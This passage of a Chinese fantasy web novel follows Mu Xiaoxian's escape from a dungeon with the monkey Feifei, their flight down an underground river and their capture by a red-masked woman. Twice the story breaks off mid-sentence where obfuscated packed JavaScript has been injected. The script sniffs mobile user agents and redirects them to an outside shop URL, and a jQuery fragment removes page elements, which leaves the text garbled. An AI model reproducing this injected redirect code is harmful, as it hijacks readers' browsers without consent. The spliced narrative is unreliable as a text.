她为什么会在那里? 她在做什么? 忽而,画面如镜子一般碎裂,震耳欲聋的声音在她耳边炸开。她被拉进黑暗中,随着镜片轰然坠落。 “我不会杀了你,你就留在这里好好享受不见天日的滋味。” 冷漠的声音将慕小闲拉回黑暗中,她的生命一点一点消散,却因为神仙难以死亡,消逝的生命又一点一点回到身上。如此往复,无尽的生死循环。 她觉得自己要疯了,可是她连疯的资格都没有。 阿筝用生命交给她的灵丹,被她弄丢了。 “哗啦啦”锁链一松,她重重地摔在血泊之中, 没有灵丹,她的仙力所剩无几,玄铁锁链倒对她不管用了。 殷乐离开后,时间仿佛静止。 不知过了多久,匍匐的身影忽然动了一下。慕小闲如同烂泥一般的身体,一点一点爬到墙角,又不知挣扎了多久,才将身体靠在墙上轻轻地喘息。 她垂下头看了一眼自己血肉模糊的腹部,赞叹道果真是祸害遗千年,这种程度的伤害都没能让她当场去世。 她不能留在这里,她得想办法出去。 慕小闲扶着墙撑起身体,下身已经没有知觉,她向前挪了一步,忽然腹部一痛,跪倒在地。空中的血腥味更加浓烈,令人作呕。 她趴在地上大口喘着气,一股委屈和悲伤冲上头顶。黑暗中传来几声久违的、断断续续的呜咽,慕小闲咬紧了嘴唇,手肘撑起身体,从地上一点一点爬了起来。 仅仅是站起身,仿佛耗尽了浑身的力气,她倚靠在冰冷的墙面上休息片刻,扶着墙向前走去。她走得很慢,好像一位行将就木的老人,每走一步都要缓缓,但她没有停下。 向前走,向前走,她的意识逐渐模糊,只知道要不停向前走。 走去哪里?不知道。或许一直向前,就能找到出口。 黑暗中传来一声粗哑的喘息。 慕小闲脚步一顿,下意识向外挪了半步。 那沉闷的、喑哑的、如同野兽般的喘息再次响起,这一次比上次更加明显。 不论对方是什么,慕小闲现在都没有办法应对,只能屏住呼吸绕道而行。她在黑暗中一点一点挪动,忍着伤口撕扯,不敢发出一点声音。 黑暗中又传来野兽的闷哼,虽然没有语言,慕小闲却感受到了一股憋闷和痛苦。她迟疑了一下,麻木地继续向前走去。 谁不痛苦? 她漠然地瞥开目光,她已没有心力顾及他人。 她垂着头将身体一寸一寸地拖行,即使知道自己已经暴露在野兽凶恶的目光下,也不敢有半点迟疑。 野兽突然挪动了身体,又传来粗重的喘息声。 这一声,却让慕小闲瞳孔一震,仿佛灵魂深处产生共鸣。她停下了脚步,一股熟悉的感觉油然而生。 她猛地抬起头,对着黑暗声音微颤道:“狒狒?” 她的声音很细微,在寂静了太久的黑暗之中却非常明显。 “嗷——”栅栏之后传来一声震耳欲聋的嚎叫。 慕小闲浑身颤抖,扑倒在地,她记得这个声音,就是那只小猴子!那只从花神山上下来报恩,却迷了路的小猴子!那只在花神村吸入了魔气兽化,被仙人带走的小猴子!那只在北溟海极和她一同并肩作战,最终逃出海底的小猴子! 她一直不知道狒狒从北溟海极出来后去了哪里,原来,原来它被关在了这里。 慕小闲不知道是喜是悲,抓着栅栏喊道:“狒狒!” 栅栏之后,庞大的身躯缩成一团,止不住地颤抖:“坏女人!走开!” “坏女人!坏女人!” 慕小闲心里一痛:“狒狒,我是慕小闲啊!” 狒狒向后缩了缩,抱着头喊道:“你不是慕小闲!你不是慕小闲!你是坏女人!” 关押狒狒的栅栏,能容纳慕小闲的身体穿过,她撑起身体,向狒狒靠近了几步。 狒狒颤抖得更加厉害,随着慕小闲的靠近,挥起一拳,虽然没有打到她,但带起的拳风却将慕小闲推倒在地。 “坏女人!走开!走开啊!” 慕小闲趴在地上哑道:“别动......” 狒狒闭着眼睛,胳膊在空中乱挥。一阵又一阵的风从慕小闲的身上刮过,风灌入她的衣服,寒意渗入她的躯体。 慕小闲趴了一会儿,狒狒却没有停下的意思,她实在忍不住喊道:“嘶......特么的,有完没完!跟你说了别动!” 狒狒突然停下,静止了片刻,声音带着颤抖:“慕小闲?” “慕小闲......”狒狒的目光落在她身上,仔仔细细地上下打量。 一人一猴自北溟海极后分别数年,此时一见恍若隔世,竟然相顾无言,不知该作何反应。没想到大家都混得如此惨烈,皆变成了别人的阶下囚。 狒狒长大口,哇的一声哭出来:“小闲——小闲——哇——哇——” 豆大的眼泪像落雨一样砸下来,慕小闲实在无心应付,只能滚到离他远一点的地方。 狒狒用尽浑身气力哭嚎着,好像想要把身体里所有的苦难和委屈都宣泄出来。他哭了很久很久,直到把力气耗尽,才抽抽搭搭地问:“小闲,你怎么在这里?你怎么变成这样了......” 慕小闲躺在地上叹了口气:“一言难尽。” 狒狒抽了抽:“一言难尽,对,一言难尽。” 狒狒挪动巨大的身躯,向慕小闲靠过来,还带着哭腔说:“小闲,我好想你啊......吸吸,我也好想武凌、云魁、云姬啊......我连鲛人都想,他和坏女人比都不算什么。哇——” 话没说完,狒狒又开始嚎啕大哭,哭得慕小闲眼眶也湿润了,仿佛是感同身受。和殷乐一比,当年在北溟海极遇见的鲛人确实不算什么。 狒狒当年离开北溟海极后,回到了青丘,因为时隔太久忘了花神山的位置,于是在青丘境内四处游荡。没过多久,也是倒了大霉,不小心踩进了魔族隐匿在青丘的地盘,于是被抓到了这个鬼地方。 狒狒说,殷乐曾扮作慕小闲来审问他,可惜他一问三不知,于是殷乐便和他撕破了脸,对他严刑拷打数次。 狒狒露出手臂上一块没有毛发的皮肉,哼哼唧唧地哭诉道,那里是被殷乐放火烧的,要不是他躲得快,差点就秃了。 在如此境地遇见狒狒,慕小闲不知怎的,好像抓住了一根救命稻草。纵使这根救命稻草不能救她于水火之中,但却为她带来了极大的安慰。仿佛她脱离身体的灵魂,被绑上了一块沉甸甸的石头,以至于不会飘得太远。 狒狒见到慕小闲后,哭得昏天黑地,慕小闲一个奄奄一息的人,还要硬着头皮哄他: “别哭了,等我们出去,我帮你教训那个坏女人。 “她们为非作歹,迟早会遭报应,他们的报应就是我。 “要不我去把她打趴下,然后让你上去加两拳?三拳也行,别把人打没了。” 但狒狒依旧哭的停不下来,鬼哭狼嚎转而化为一种椎心泣血,把本就浑身难受的慕小闲折磨更加难以忍受。 她哑着嗓子,深吸了几口气,才吐出一句:“别哭了......我还没死呢......” 狒狒勉为其难地看了她一眼,黑黑的眼睛冒出一颗水珠,啪嗒一声砸在地上。他的嘴角又是一瘪,呜呜地哭道:“狒狒是没有用的小猴子,狒狒连自己的家在哪里都忘了...... "呜呜呜,麻麻......麻麻我好想你啊......" 慕小闲:“你是不是想起什么了?” 狒狒看了她一眼又开始鬼哭狼嚎:“我是花神山的小猴子,可是花神山在哪儿呢?” “我知道花神山在哪里。”慕小闲说:“等我们出去了,我就带你回家。” 狒狒顿了一下,一抽一抽地说:“你知道花神山?你去过花神山?那里是不是很漂亮?有一个很大的瀑布,还有好多好多......黄花菜!” 慕小闲无奈道:“不是黄花菜,是黄花萱草......” 狒狒“哦”了一声:“什么黄花萱草?我们就叫黄花菜。” 慕小闲:“黄花菜就黄花菜,花神山的瀑布边上有一大片金黄金黄的黄花菜,映得湖面金光闪闪,可漂亮了。” 狒狒眼波微动:“是啊,可漂亮了,麻麻最喜欢了。我怎么会舍得离开花神山呢......” 狒狒好像想起来了,又好像没有想起来,喃喃道:“我记得我要去山下的镇子报恩,但是把手里的黄花菜弄丢了,于是就在山下摘了一把。然后我就遇到了我们家的恩人。恩人对我可好了,他给了我好多好吃的,还陪我玩,然后发生了什么?” 慕小闲皱起眉头:“别想了。” 狒狒沉默了一会儿:“我的身体变成了现在这个样子,我很害怕很害怕,人们好像都很害怕我,我想回花神山躲起来,然后就不记得了。后来在北溟海极醒来时,我把之前发生的事情都忘了。” 慕小闲轻声说:“想不起来就别想了,都不重要了。” 狒狒眼神迷离:“我好像做了一个梦,遇到了一个很奇怪的人,她给我讲了美猴王的故事,那个故事真有意思,但没有麻麻讲的故事好听。”当年狒狒忘了自己的身世,却将听到的美猴王的故事移花接木,误以为和自己有关,将自己当作了花果山的一员。 慕小闲回到过去的幻境之中后,给狒狒讲了关于美猴王的故事,至于现实中当年是否也有一位仙人给他讲述了这个故事,已经无从考究。 她和狒狒同是天涯沦落人,本来平静的生活被魔族摧毁,现在一人一兽同病相怜。 若说慕小闲在知道自己是白瑶时,对这个身份认知并没有归属感,所以没有深刻体会到魔族对自己与青丘的迫害。那么现在,身体发肤之痛,让她对魔族深恶痛绝,恨不得出去一把火将魔域烧个干净。 空气中的血腥气太重,狒狒回过神来,捂着鼻子问:“小闲,你怎么受了这么重的伤?” “兰渊嫌我碍事,将我关在这里,殷乐趁机过来抢走了我的灵丹,我这一身伤就是拜他们所赐。“ “可恶!坏女人!”狒狒冲空气挥舞着拳头。 “小闲,我在北溟海极的时候看云姬给人疗伤,她好像是这么做的......” 狒狒伸出毛茸茸的手轻轻放在慕小闲肚子上,憋住气,表情逐渐狰狞...... 慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582200|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小闲觉得腹部一阵温热,好像确实舒服了很多。 狒狒憋得脸上都紫了,忽然喘了一大口气,掌心压在了慕小闲的伤口上。 “哎......别动......别动啊!”慕小闲疼得弓起身叫道。 狒狒一脸茫然:“怎么了?” 慕小闲疼得直哼哼:“别动了,我自己能恢复。” 慕小闲原本拼了命也要从这里出去,但现在遇见狒狒,总不能让他一只猴留在这里,加上她在这昏天黑地的地方走了这么久,也不知道哪里是个头,倒不如原地休息再做打算。 她休养了一段时间,身上渗血的伤口居然开始愈合了。看来她虽然没有了仙力,但也已经不是凡人肉身了。往好了想,她也不算是前功尽弃。 慕小闲躺在狒狒的腿边,望着无边无际的黑暗,喃喃:“狒狒,我们一定能出去的。” 身侧微微的颤抖,狒狒埋下头,低声道:“出不去的。若是被人发现了,坏女人不会放过我们的。” 慕小闲抬起头望向它,见它将头藏在手臂的阴影后,轻轻将它的手臂拿下来:“狒狒,我们之前都能从北溟海极逃出来,这次一定也可以的对不对?” 狒狒挪开眼睛:“可是这次没有人能找到这里,我连那道栅栏都过不去。” 慕小闲抓住狒狒的手臂:“狒狒,那道玄铁栅栏是为了禁锢有仙力的人,你没有仙力,它们就是一堆寻常的铁。以你的身型力气,我不信你拿这些东西没办法。” 狒狒闻言,眸子忽而定定地望着一排栅栏出神:“我真的可以吗?” 慕小闲叹了口气:“狒狒,你可是花神山的小猴子,背负了你娘的期望才下山的,当年在北溟海极都没有被打倒,怎么能在这里泄气?你忘了在北溟海上对着落日许下的誓言吗?” 狒狒懵懵懂懂地点点头,昏暗中眼睛绽放出一点希望的光芒:“你说的对,我可是......我可是要成为顶天立地的猴子的。” 狒狒和慕小闲算是二进宫,对逃狱这件事虽然谈不上心得体会,但有了第一次的经验,也就有了第二次的信心。 据狒狒观察,这个暗无天日的牢笼,除了殷乐之外,还有一个打扮奇怪的人,隔三差五就会来这里巡视一圈。 等待许久,黑暗中传来了细微的声响。慕小闲与狒狒对视一眼,悄悄挪到了他的身后。狒狒庞大的身躯犹如一堵墙,遮住了她瘦弱的身影。 黑暗中冒出一点幽暗的灯火,一个高大的身影提着灯笼缓缓走过。那只灯笼的光很微弱,只能将他包裹在光明之中,照不到的地方依旧漆黑一片。他带着斗篷兜住了脸,看不见面容,脚步拖沓,就像是在水中滑行。 狒狒屏息凝神,紧张地看着对方从自己面前走过。那人没有停留,仿佛狒狒不值一提,看也不看一眼便往前走了。 慕小闲与狒狒都很紧张,因为不知道他会不会走到关押慕小闲的地方,检查她是否还在。若是被他发现,兰渊与殷乐一定很快便会赶来。 不多时,那抹幽光又转了回来,从狒狒身前缓缓走过。慕小闲缩进狒狒的毛发中,静静等待他走过。 一直到那抹幽光完全消失在黑暗中,慕小闲才猛地舒了一口气。 等待巡逻之人第二次出现又过了很长一段时间,约莫是七天,也可能更久,期间慕小闲逐渐能站起身缓缓走动了。 第二次巡逻之人出现,慕小闲躲在狒狒身后等他走过后,偷偷跟在了巡逻之人的身后。 那人继续往前滑行,没有走多远,便不再往前走了。 慕小闲松了一口气,如她所料,那个巡逻的人并再没有往深处走,只是在附近随意看了看便转身往回走。兰渊和殷乐将她关在深处,就是希望越少人知道越好,但也留给了她逃跑的时间。她要想办法在兰渊和殷乐发现之前,从这里逃出去。 慕小闲一个不留神,呼吸产生了波动。 巡逻之人脚步缓了一下,提起灯笼,吼道:“谁?” 慕小闲心里一紧,赶紧向后退去。那人刚要抬步,就听见不远处传来一声嚎叫:“嗷呜——” “闭嘴!”那人提起灯笼,照了照狒狒的方向,凶恶地吼道。 还好狒狒突然发作,转移了巡逻之人的注意力,他向狒狒的方向走去。慕小闲定了定神,可不能再出差错了。 巡逻之人漫步至狒狒跟前,提起灯笼,照亮了狒狒的一部分身躯。 他带着威胁的语气问:“你叫什么?” 狒狒停顿了一下,理直气壮地答道:“我叫狒狒!” 巡逻之人沉默了一会儿,暴躁道:“我是问你吵什么吵!” 狒狒毫不示弱:“嘴长在我身上,我叫我的,关你什么事?不爱听就滚!” 巡逻之人的披风在幽光之中映出惨白的光,他又靠近了一步,手中的光也跟着往前挪了一步。 他的披风盖住了头脸,却有一束阴冷诡异的目光落在了狒狒的脸上细细打量:“你是不是听到什么了?” 狒狒呼吸一滞,眼神往身后瞟了瞟,浮夸地抬高了嗓音:“听到什么?” 巡逻之人沉默了半晌,在他印象中狒狒就是个什么也不懂的畜生,它平时胆小如鼠,听到他的脚步都要往角落里缩,今天怎么会如此反常? 巡逻之人退了一步,他收回手,光线随着他的向后退去。 他垂下头,似乎认同了狒狒的说法,不再深究下去。 他向前走了几步,隐隐约约听到狒狒轻轻舒了一口气。 他又提着灯笼回到了狒狒面前,随着他的靠近,狒狒紧张地蜷起身体。他一掌掀开狒狒庞大的身躯,但狒狒身后什么也没有。 “嘿嘿,你是不是来陪我玩儿的?”狒狒问。 巡逻之人退了一步,收回手中的灯笼,不再回应他,转身往回走,又恢复了原先缓慢的步伐。 慕小闲远远跟在他身后,因为身体虚弱,她走的也是极慢。 他走的并不是一条直线,就像在迷宫之中穿行,她往回望,甚至开始怀疑她是否还能找到狒狒的位置。 走了很久很久,慕小闲忽然听到一阵流水的声音,像是湖面掀起的水波打在了岸边。 这里有水?太黑了看不清楚。 哗——哗—— 远处好像又出现了两个侍卫,他们守在原地没有动作,巡逻之人与他们错身而过。 慕小闲没有冒然上前,而是待在原处悄悄观察。 这两个人似乎是看管的守卫,既然是守卫,那这里应当就是出口。不过水声是从哪里来的?难道出去还要走水路?若是要走水路,她和狒狒逃出去更是难上加难。 哗——哗—— 哗——哗—— 昏暗的空间中,平缓的水声一波接着一波。 慕小闲蹙起眉,压抑的情绪转而化为一种紧张和兴奋,她好像来过这个地方。 178. 第 178 章 当年她被凤钰送来青丘,走的是一条又黑又长的暗河。那条暗河从南天门直通长乐宫,她就是在那里遇见了兰渊,继而被青丘的侍卫当做是刺客抓去了大殿。 没想到兜兜转转又回到了这里。 若是走水路,不知她当年留下的那只小舟还在不在? 慕小闲摸着黑往回走,她记不住刚才走了多远,只能凭借一丝直觉向黑暗走去。刚才她全神贯注地跟着那名巡逻之人,并未注意到周遭的环境,现在一个人在黑暗中摸索着,一颗心如坠深渊,砰砰地敲击着她的耳膜。 慕小闲走了许久,腰腿渐渐有些乏力,她停下来休息了片刻,轻声试探道:“狒狒?” 黑暗没有给予她回应。 慕小闲手脚冰凉,深吸了几口气,刚迈开一步突然跌坐在地上。 她的身体无法控制地发抖,恐惧和迷惘就像深夜的幽灵一般在她周围游走,她蜷起身体,脑海中突然浮现出殷乐的脸。那张和她相似的脸就近在眼前,她没有表情,慕小闲却感到背脊一阵麻木,四肢仿佛都不听使唤。 “别碰我......” “别碰我......” “放手......” “呜呜......” 慕小闲咬住了嘴唇,痛苦地蜷缩在地上,好一会儿才浑身大汗地从梦魇中醒来。她迷茫地看着自己粗糙的手掌想,她居然开始害怕殷乐了,一想到这个女人,她的身体就隐隐作痛。 慕小闲撑起身体,从地上爬起来。怎么办?她应该怎么办?她已经在殷乐手上死过一次了,难道还要重蹈覆辙吗? 她要尽快逃出去,她不能再这样下去了。 她向前走去,一直走一直走,不敢停下。唯恐一旦停下,就会被黑暗纠缠,再也无法走下去。 终于,她听到空气中夹杂了一丝轻微的喘息声。 “狒狒?” “小闲?” “小闲你回来了。”狒狒似乎松了一口气。 慕小闲冲上去抱住狒狒的手臂,大口大口地喘息。狒狒感觉到她在微微发抖,声音一颤:“小闲,你怎么了?” “没事。没事。”慕小闲惊魂未定,抱住狒狒的手臂紧了紧。狒狒不知道发生了什么事,轻轻地拍了拍慕小闲的头。 “我找到出口了,我带你出去。但是出口有侍卫看守,出去之后便是长乐宫,我们两人很难从长乐宫逃出去。出口旁还有一条暗河,我们可以从这条暗河出走,我曾经通过这条暗河从天庭来到青丘,所以这条暗河可能是通往天庭的。” 狒狒瞳孔一缩:“天庭......”慕小闲知道他在害怕什么,他在北溟海极被囚禁了几百年,自然是不想再回去的,但是现在他们没有别的选择。 “你别害怕,我听华尧说过,天庭没有追究我们逃跑的事情。现在我们要与青丘之主为敌,去天庭未必不是一件好事,至少在天庭,殷乐没办法对我们下手。但难就难在,走水路,我们没有舟。” 狒狒拧紧了眉,纠结了一会儿,叹了一口气:“好吧,没有舟不碍事,其实我会水。我小时候在花神山的瀑布上玩跳水,被麻麻教训了好多次。我可以从山上一路游到山腰,再一口气游回去。” 慕小闲松了一口气:“看来是我太紧张了。那个巡逻之人今天察觉到了异常,可能很快还会回来,我们要抓紧时间出去。” 狒狒点点头,站起身用尽浑身力气,徒手将栅栏掰开,庞大的身体从夹缝中挤出时,慕小闲才发现它的体型清瘦了许多。狒狒抱起慕小闲,跟着她的指挥在黑暗中行走。以狒狒个头,对慕小闲来说望不到尽头的路,他只用了三分之一的时间便走完了。 远远地,两个身着铠甲的侍卫笔直地伫立在出口处,身上的铠甲在昏暗出泛着冷淡的光泽,如同两具没有感情的兵俑。 一浪接一浪拍打的水声,从他们身侧传来。 慕小闲眼睛一眨不眨地盯着两名侍卫,伏在狒狒耳边小声说:“听到水声了吗?那两名侍卫的左侧就是暗河,右边的台阶应当是通往长乐宫的地方。” 狒狒微微点了点头。 “我们得像个办法把他们引开。” 慕小闲犯了难,说的容易,怎么引开呢? “那里好像有人。”其中一个侍卫的目光突然扫射过来,狒狒身上一僵,慕小闲也警惕地不敢轻举妄动。 “这里怎么可能有人?”另一个随意地答道。 侍卫多看了他们的位置几眼,没有发现别的异常。 “这里的光线比他们所在的位置暗,他们看不清我们的。”慕小闲在狒狒耳边安抚道。 就在这时,地面突然一震,他们的上方传来轰轰几声闷响。 震动还未平息,余波一阵接着一阵。 侍卫问道:“什么声音?” 另一个问:“上头怎么了?” 两名侍卫对视一眼,其中一个沉着地说:“殿下吩咐过了,不论发生什么,我们就待在这里。” 不一会儿,上方又传来震动。 另一个犹豫地问道:“上面好像打起来了。” “天塌下来我们也得在这里守着。” “不对吧,要是地上塌了呢?” “......” “我去看看,你就在这里。” 其中一名侍卫竟然走开了! 简直天助我也! 慕小闲推了推狒狒:“快!我们冲过去!” 侍卫正全神贯注地听着上面的声响,忽然看到昏暗中,冒出两只泛着红光的珠子。 他心里一颤,紧锁眉头,仔细看去。 地上忽然一震,那东西向前走了一步,四周的光线仿佛稍稍亮了些许。 一张隐藏在黑暗中狰狞的面目一点一点暴露出来,庞大的身躯有三层楼高,手臂比大殿的柱子更粗壮。 侍卫僵在原地,身体动也不动。 狒狒向他走了一步,他屏住一口气,拿起手中的钢叉对准狒狒说:“别……别动……” 庞然大物挥起手臂,横扫而来,将侍卫推出几米远,撞上了右边的台阶。 侍卫捂着胸口从地上爬起,举着钢叉向狒狒冲来。钢叉刺入狒狒的手臂,疼的他嚎叫一声,更加狂躁起来。狒狒猛地甩开手臂,拔出刺入的钢叉,将那名侍卫捏在手中。 侍卫就像一只蚂蚁一般在他手中奋力挣扎却动弹不得。 “别管他。我们快点走!”慕小闲指挥道。 狒狒喘着粗气,急躁地将侍卫甩向一边,侍卫跌落在地面翻滚了几圈,强撑着身体想站起来。 一人一猴奔至河边,就见河道旁停靠着一只小舟,正是当年慕小闲从天庭来时坐的那只。慕小闲看到这只破烂小舟顿感热泪盈眶,这只过去的舟给了她未来的希望,就像过去的她拯救了现在的自己。 如狒狒所言,他的水性极好。他将慕小闲放在舟上,自己半身入水,推着舟向前滑行几米,水波便将小舟向前送去。 “别跑!”侍卫跌跌撞撞地跑到岸边冲他们喊道,但小舟已经滑行数米,不管不顾地继续向深处前行。 他们漂出去很远,没有人追上来,慕小闲才松了一口气。不论他们到了天庭是一番什么景象,都比在殷乐手上任人宰割要好。 一叶小舟在暗河中飘摇,慕小闲精疲力竭地躺在舟中,随着小舟的摇摆昏昏沉沉。狒狒趴在舟边,不时划几下水,让小舟更快一点。 狒狒突然“哎哟”一声,她立刻睁开眼睛问道:“怎么了?” 狒狒潜下水,没了踪迹。 慕小闲一惊,翻身伏在舟边向下望,暗河一片漆黑,能见度极低。 “狒狒?”慕小闲唤道。 水下浮起一圈涟漪。 慕小闲心里一紧,站起身探出头叫道:“狒狒!” 依旧没有回应,慕小闲脑袋一嗡,不知道水下发生了什么。她迅速从舟上翻下去,冰冷的河水冻得她一个激灵。 “哗啦——”身前突然涌出一个庞然大物,吓得她呼吸一滞。 狒狒冒出水面,浑身的毛发湿透,像一只刚从水里捞出来的毛绒玩具。 “狒狒!你怎么......怎么......” 狒狒从水下抬起手:“看!我发现了什么?” 他拎起了一条鱼,鱼不停地挣扎,溅了慕小闲一脸水。 慕小闲舒了一口气,扒着舟爬了回去。 狒狒这才发现慕小闲在水中:“你怎么下来了?” 慕小闲身上更加疲惫,倒在舟上,轻轻闭上眼睛无奈道:“我在舟上待久了,下来活动活动。” 狒狒兴奋道:“小闲,有鱼是不是说明我们快到了?” 先前在长乐宫的暗河中没有鱼,说明这暗河的水域并不适合鱼类生存。能见到这条落单的鱼,说明水中的环境发生了质的变化。 慕小闲睁开眼睛,眼波一转:“有道理。” 不多时,四周隐隐约约有光透进来,渐渐地,一个巨大的岩洞浮于水面。白洞,充斥着耀眼的白光,伴随着清新的空气,从洞外一并挤进来。 小舟从洞中缓缓穿过,洞外又是另一番景象。 灿烂的日晖兜头洒下,明晃晃让人睁不开眼。两岸绿草如茵,树林繁茂,鸟叫声声悦耳,俨然一副世外桃源的景象。 他们从山洞中而来,显然又进入了另一座山。 小舟顺着河道漂进山林,两旁草木野生野长,像是许久没有人烟。河道越来越窄,水流也越来越缓,小舟渐渐停下了前行的轨迹。 岸上飘来一股焦香的气息,狒狒鼻子灵敏,它嗅了嗅,肚子咕噜噜,感叹一声:“好香啊!”他们太长时间没有吃东西,虽然不吃东西不至于饿死,但此时闻到诱人的香气,仿佛点燃了他们的食欲。 慕小闲和狒狒跳上岸,循着香气向林中找去。 “哇!是烤鸡!” 隐蔽在丛林之中,燃烧的木枝堆上架着一只金黄冒油的烤鸡,色泽饱满,香飘四溢。油滴入火中,啪地一声溅起了火星。 就像在沙漠中穿行之人看到了绿洲,一人一猴瞬间两眼放光,争前恐后地扑到火堆前。 “肉!是肉!狒狒好久没吃过肉了!”狒狒激动地眼眶都红了。 一人一猴抱在一起雀跃欢呼:“有肉吃了!” “等等,为什么这里会有烤鸡?烤鸡的人呢?”慕小闲问。 “也许是有事先走了吧。”狒狒吞了吞口水。 “走了?把鸡留给我们?还是热乎的?”慕小闲简直不敢相信还有这样精准的好事。 狒狒已经上前扯下了一只鸡腿,塞入口中,含混不清地说:“别和我讲道理,道理都是给人说的,我又不是人。” 在生存面前,道理不值一提。 慕小闲撕下一片鸡肉,囫囵吞进口中,那久违的滋味仿佛在她颅内炸成了数朵烟花。 狒狒吃的津津有味,感叹道:“活着真好。” 慕小闲垂下头,刘海挡住了湿润的眼睛,轻声道:“是啊,活着真好。” 骨头一根一根滚落,堆成了一座小山。狒狒心满意足地坐在地上摸了摸自己的肚子,还在回味当中:“太少了根本不够塞牙缝,为什么不多烤几只呢。” 慕小闲点头附和:“要是能加点孜然粉就好了。” “你们把老娘的午餐吃了,还挺嚣张?”身后突然一声暴喝,随之而来的是一股强大的冲击力,将一人一猴推了出去,滚出去几米远。 今日不同往昔,慕小闲的胳膊腿滚了几圈都快散架了,她好一会儿爬不起来。余光一双精巧的靴子走到她跟前,一把掐住她的手腕,在内侧细细摸索起来。 慕小闲将手往回拉扯:“你做什么?” 那人带着一张红脸面具,面具上绘着一只半脸狐狸。一半娇艳明媚,眼下镶嵌着几颗彩色的水晶,一半平平无奇,只用红色线条简单勾勒了轮廓。 “你没有仙力。”她的声线隐隐有些兴奋。 狒狒爬起来,拧眉对着红脸怪人说:“你放开她!” 红脸怪人微微侧目看了他一眼,那张狐狸脸似乎在笑:“你又是谁?”她的目光打量着狒狒,狒狒突然觉得身上有些冷,不由自主地向后靠去。 红脸怪人向他走了一步:“你是......” 狒狒惊慌失措地向后退了一步:“你想干什么?” 红脸怪人身上气息陡然一变,周身扬起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不行。”红脸怪人斩钉截铁地说:“不是什么事情都可以事后补偿的。我不同意!” 慕小闲心里不悦,不就是一只鸡吗?山里还捉不到一只鸡?她深吸一口气,压住自己的怒气问:“你看怎么办?” 红脸怪人眼中划过一丝精光,直勾勾地看着慕小闲:“我需要你替我练功,他帮我干活。” 慕小闲好不容易从长乐宫逃出来,当务之急是要找到晏离,或者让晏离找到她。怎么可能留在这里陪红脸怪人练功?何况红脸怪人来路不明,又在荒郊野外无人问津处,谁知道练的是什么邪术? 红脸怪人的眼眸闪过精光:“你没有仙力傍身,又带着一个巨大的累赘,逃不掉的。不如乖乖跟了我,我至少能让你们吃饱。” 狒狒一听觉得很有道理:“每天都能吃烤鸡么?” 红脸怪人继续诱惑道:“有,要多少有多少。” 一阵冷风拂过,慕小闲一个激灵回过神来,退了一步:“不,我们不能跟你走。” 红脸怪人冷哼一声:“由不得你。”一掌劈下,慕小闲就像一只弱鸡毫无招架之力晕了过去。 狒狒被这一变故惊得毛发炸开,两只黑黝黝的眼睛瞪得圆圆的:“你你你......我我我......” 红脸怪人在慕小闲手腕上捏了捏,眸中划过一丝异色,神色严肃了起来。 她一把扛起慕小闲,毫不费力地掂了掂,嚣张地冲狒狒说道:“看什么?还不跟我走?” 狒狒像看怪物一样看着她,心里紧张地话都说不清楚:“你你你把她放下!” 红脸怪人冷哼一声,背着慕小闲转身就走。慕小闲在她手上,还怕狒狒一只猴子跑了吗?于是乎,红脸怪人背着慕小闲在前面优哉游哉地哼着小曲儿,狒狒乖乖地跟在他们身后。 。 慕小闲睁开眼睛转了转眼珠,身体像是被人打了一顿动弹不得。她躺在一张硬的硌人的木板上,屋里很是简陋。 门外传来咔咔咔声,紧接着响起一个诡异的声音:“你怎么什么都不会啊?” 那声音着实诡异,慕小闲头痛不已,她睡了一觉起来发现他们偷鸡不成被人拐走的事情,居然是真的! “呜呜……”狒狒的呜咽。 “接着劈!今天把这些都劈完了才能休息!”红脸怪人不留情面地说。 慕小闲一肚子火,看不得红脸怪人欺负狒狒,隔空叫道:“我醒了!你给我进来!欺负一只猴子算什么本事!” 门外沉默了一息,响起狒狒委委屈屈的声音:“小闲……” 然后陡然收声。 须臾,一个鲜红的面具挤入慕小闲的视野,那张面具没有表情,慕小闲却觉得她露出了诡异的笑容。 才出虎穴又入狼窝,魔族是已知的敌人,红脸怪人是未知的危险。在充当受害者这件事上,她怎么就这么抢手呢? “你想做什么?”慕小闲问。 红脸怪人目光灼灼地看着慕小闲,好似她是稀世珍宝一般:“我要你!” 慕小闲一哆嗦:“这样不好吧?” 红脸怪人:“没什么不好!” 慕小闲:“诶!别扒拉我!你住手!住手!” 狒狒在屋外莫名其妙:...... 红脸怪人啪啪啪打了她几个大穴,慕小闲立刻身上一松,原本僵硬不能动弹的腿脚都能活动了。 慕小闲爬起来,愤愤地瞪了红脸怪人一眼,推门而出去找狒狒。就见离屋子不远处,狒狒一只庞然大物,憋着气红着脸在劈柴! 他两只手指捻起一根木头,轻轻放在桩上,掐着一只又小又破的斧头,像是穿针引线一般对准木头劈下。一下没劈准,砍栽了桩上,又晃晃悠悠地举起来再劈。劈了几下后,木头在桩上转悠了几圈,忽然裂成几瓣。 慕小闲心里一抽,她与狒狒两次共患难死里逃生,看不得他受委屈。 她指着狒狒对红脸怪人叫道:“你不是有仙力可以生火吗?为什么要他劈柴?让一只小猴子劈柴,你良心不会痛吗?” 红脸怪人悠哉地从屋里走出,脚步轻盈心情甚好:“我乐意。” 179. 第 179 章 空气弥漫着一股淡淡的药味,慕小闲皱着眉头循着气味望过去,是一只土石器成的药炉。炉子烧得正旺,地上随意摊着一层其貌不扬的草药。 草药有好几种,叶子的颜色形状有细微的差别。 “这是什么药?” 慕小闲蹲下来随手拿起一把闻了闻,这草药有一股奇异的香味。 “枯血草。”红脸怪人指了指不远处一片杂草。 慕小闲手一抖,脸色顿时白了下来。 “你尝过枯血草?”红脸怪人问。 慕小闲摇摇头:“没尝过,但是略有耳闻,枯血草是剧毒之药。” 